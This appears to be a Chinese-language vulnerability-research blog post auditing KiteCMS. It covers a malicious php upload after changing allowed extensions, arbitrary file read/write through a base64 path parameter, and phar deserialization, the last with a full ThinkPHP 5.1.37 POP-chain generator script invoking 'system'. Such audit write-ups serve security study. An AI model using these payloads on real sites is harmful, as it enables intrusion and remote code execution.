写在前面
这是代码审计的第三套源码Kitecms,慢慢沉淀,加油加油
环境搭建
1 2 3 4
| Windows 11 家庭中文版 php: PHP 7.3.0 apache mysql: 5.5.53
|
漏洞测试与分析
后台文件上传
测试
在后台admin/site/config.html?config_name=uploadFile
处我们可以修改可上传文件类型后缀,加一个php
之后我们随便找一个上传点(后台),抓包上传恶意文件
回显上传路径后访问即可触发
分析
根据Y4师傅所述,网站有针对用户在session中设置权限的操作,我们先分析分析
从这里作为进入入口http://localhost/admin/passport/login.html,定位至`admin\Passport.php`的`login()`函数
首先获取完参数,并作校验后,会查auth_user
表进行比对
该表中还存在一个role_ids
字段,应该是和权限有关,我们留意一下
验证完密码后,会调用Auth::createSession()
方法,其中会根据用户的uid值设置admin模块下的默认站点Session值,对于site_id字段,如果是admin用户的话就是1
之后还会设置用户数据SESSION,会有签名
大概弄清了Session的设置后,我们看看在修改配置中的图片类型是怎样的走的
根据路由admin/site/config.html?config_name=uploadFile
首先定位至admin\Site.php
中的config方法,首先会根据每一个传参数据调用SiteConfig::saveCofig()
方法,留意这里出现了session中的site_id字段,同时我们修改的图片类型位于键名为upload_image_ext
跟入看到执行了数据库操作,首先会根据site_id作筛选,然后才会根据更新对应的k值,也就是说site_id的值决定了我们能改的范围
1 2 3 4 5 6
| static public function saveCofig($site_id, $k, $v) { return self::where('site_id', $site_id) ->where('k', $k) ->update(['v' => $v]); }
|
然后我们去看看文件上传处
根据路由/admin/upload/uploadfile.html
定位至\admin\Upload.php
的uploadfile
函数处
这里可以看到还是会根据site_id值来初始化UploadFile类
我们先跟入分析一下,这里首先会从数据库里读取配置(也就是我们刚才设置的那些),合并到config变量里
针对每一个配置项,还会去调用SiteConfig::getCofig($site_id, $k)
方法,刚才已经见过了会根据site_id值去数据库里查数据。所以这里也就是说,如果数据库里存在对应的配置项的话就优先用数据库里的,应该是防止出现冲突吧,最后合并配置写到最终的属性config当中
1 2 3 4 5
| foreach ($config as $k => $v) { if (!empty(SiteConfig::getCofig($site_id, $k))) { $newConfig[$k] = SiteConfig::getCofig($site_id, $k); } }
|
然后经过初始化操作之后,就会执行upload
方法了
这里也就是先验证文件类型、然后上传文件。除了验证后缀和大小也就没其他的了
1 2 3 4 5 6 7 8
| case 'image': $result = $file->check(['ext' => $this->config['upload_image_ext'], 'size' => $this->config['upload_image_size']*1024]); if(empty($result)){ $this->error = $file->getError(); return false; } break;
|
任意文件读取
这次来看模板修改功能点,根据路由admin/template/fileedit.html
定位至admin\Template.php
的fileedit函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| public function fileedit() { if (Request::isAjax()) { $request = Request::param(); $encode = mb_detect_encoding($request['html'], array('ASCII', 'UTF-8', 'GB2312', 'GBK', 'BIG5')); $request['path'] = base64_decode($request['path']); if ($encode != 'UTF-8') { $request['html'] = iconv($encode, 'UTF-8', $request['html']); }
if (file_exists($request['path'])) { if (is_writable($request['path'])) { $html = file_put_contents($request['path'], htmlspecialchars_decode($request['html'])); } else { throw new HttpException(404, 'File not readabled'); } } else { throw new HttpException(404, 'This is not file'); }
if ($html) { return $this->response(200, Lang::get('Success')); } else { return $this->response(201, Lang::get('Fail')); } }
$request = Request::param('path'); $path = base64_decode($request); if (file_exists($path)) { if (is_readable($path)) { $html = file_get_contents($path); } else { throw new HttpException(404, 'File not readabled'); } } else { throw new HttpException(404, 'This is not file'); } $data = [ 'html' => htmlspecialchars($html), 'path' => $request, 'name' => base64_decode(Request::param('name')), ];
return $this->fetch('fileedit', $data); }
|
这里的逻辑就是根据get或者post得到path变量,经过base64解码,可以实现任意读写。如果是读的话就是get请求,写的话就是post请求。由于没有作任何检验,我们可以利用目录穿越读取任意文件。
正常请求时查询按照绝对路径来查
那我们读一下配置
1
| D:/phpstudy/WWW/config/database.php
|
phar 反序列化
漏洞source点在application/admin/controller/Template.php
的filelist
函数,其中调用了Admin类的getTpl方法
类中的scanFiles()方法有is_dir()可以导致phar反序列化,我这里的疑问是dir参数好像可以直接传参?
这里thinkphp版本为5.1.37,找一个poc生成phar
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| <?php namespace think; abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["ethan"=>["dir","calc"]]; $this->data = ["ethan"=>new Request()]; } } class Request { protected $hook = []; protected $filter = "system"; protected $config = [
'var_method' => '_method',
'var_ajax' => '_ajax',
'var_pjax' => '_pjax',
'var_pathinfo' => 's',
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
'default_filter' => '',
'url_domain_root' => '',
'https_agent_name' => '',
'http_agent_ip' => 'HTTP_X_REAL_IP',
'url_html_suffix' => 'html', ]; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'']; $this->hook = ["visible"=>[$this,"isAjax"]]; } } namespace think\process\pipes;
use think\model\concern\Conversion; use think\model\Pivot; class Windows { private $files = [];
public function __construct() { $this->files=[new Pivot()]; } } namespace think\model;
use Phar; use think\Model;
class Pivot extends Model { } use think\process\pipes\Windows;
$a = new Windows(); @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($a); $phar->addFromString("test.txt", "test");
$phar->stopBuffering();
|
然后上传文件
1
| ?dir=phar://./upload/20221204/91765e963b1efb9755077c6d317382a8.png
|
我这里是没打成功,但是参数确实是传的没问题。看来还是得细致的过一下经典的tp反序列化链啊。而且这里tp版本是5.1.37,应该还有一些其他可利用的框架漏洞
这里就先找一下可利用的入口吧,和上面类似的phar反序列化触发点还有scanFilesForTree()
还有一处是在刚才Upload处,我们在初始化Upload类时,有一个uploadHandler()
方法调用,这里获取了一个配置(从数据库里拿的),肯定在后台可以改(这个有印象的话应该是对应的上传驱动那里
之后就是upload操作,前面已经说了,后面调用了$this->uploadHandler->upload($file)
type选择的是local的话,刚才就会动态加载该app\common\model\upload\driver\Local
类,可以看到upload方法中出现了sink点,参数upload_path同样在后台可以修改,可用来利用phar反序列化漏洞
参考链接
https://www.kancloud.cn/kite/book/1136594
https://y4tacker.blog.csdn.net/article/details/115759642
https://ego00.blog.csdn.net/article/details/117818074